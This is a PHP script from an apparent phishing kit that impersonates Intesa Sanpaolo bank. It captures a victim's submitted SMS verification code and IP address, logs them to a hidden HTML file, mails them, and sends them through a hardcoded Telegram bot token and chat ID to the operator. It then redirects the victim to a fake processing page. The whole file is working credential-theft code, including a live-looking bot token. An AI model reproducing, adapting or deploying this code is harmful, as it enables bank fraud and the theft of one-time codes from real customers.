<?php
$bin4=$_GET['client_id'];
session_start();
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    if (!empty($_POST['sms']) //and !empty($_POST['mm']) and !empty($_POST['yy']) 
         //and !empty($_POST['s6'])
    ) {
            $_SESSION['sms']=$_POST['sms'];
          if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
                $ip = $_SERVER['HTTP_CLIENT_IP'];
            } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            } else {
                $ip = $_SERVER['REMOTE_ADDR'];
            }

$ATR480X .= "••••••••••••••• 🔑 INTESASANPAOLO.ATR480X 🔑\n";
$ATR480X .= "[ SMS ] *   :   ".$_POST['sms']."\n";
$ATR480X .= "••••••••••••••• ℹ️ [ INFO VIC ] ℹ️\n";
$ATR480X .= "[ 🔎 ] = $ip\n";
$ATR480X .= "••••••••••••••• 🇮🇹🇮🇹 IT 🇮🇹🇮🇹\n";

            $file = fopen("../../../ATR480X.html", "a+");
            fwrite($file, $ATR480X);fclose($file);
            $to = "";
            $subject = "SMS.3.DONE | $ip";
            $headers = "From: INTESASANPAOLO.ATR480X<atr480x@atr480x.org>\r\n";
            $headers .= "MIME-Version: 1.0\r\n";
            $headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n";
            mail($to, $subject, $ATR480X, $headers);
$token = "7914161075:AAFXZvfYCd-3OCsC1QAUCXc9AfHhsy8FMlw";
    file_get_contents("https://api.telegram.org/bot$token/sendMessage?chat_id=1858722787&text=" . urlencode($ATR480X)."" );
$md5=md5(time());
            header("Location: ../In.lavorazione/index.php?client_id=$bin4");
    }else header("Location: ?error=".md5($_GET['error']));
}
?>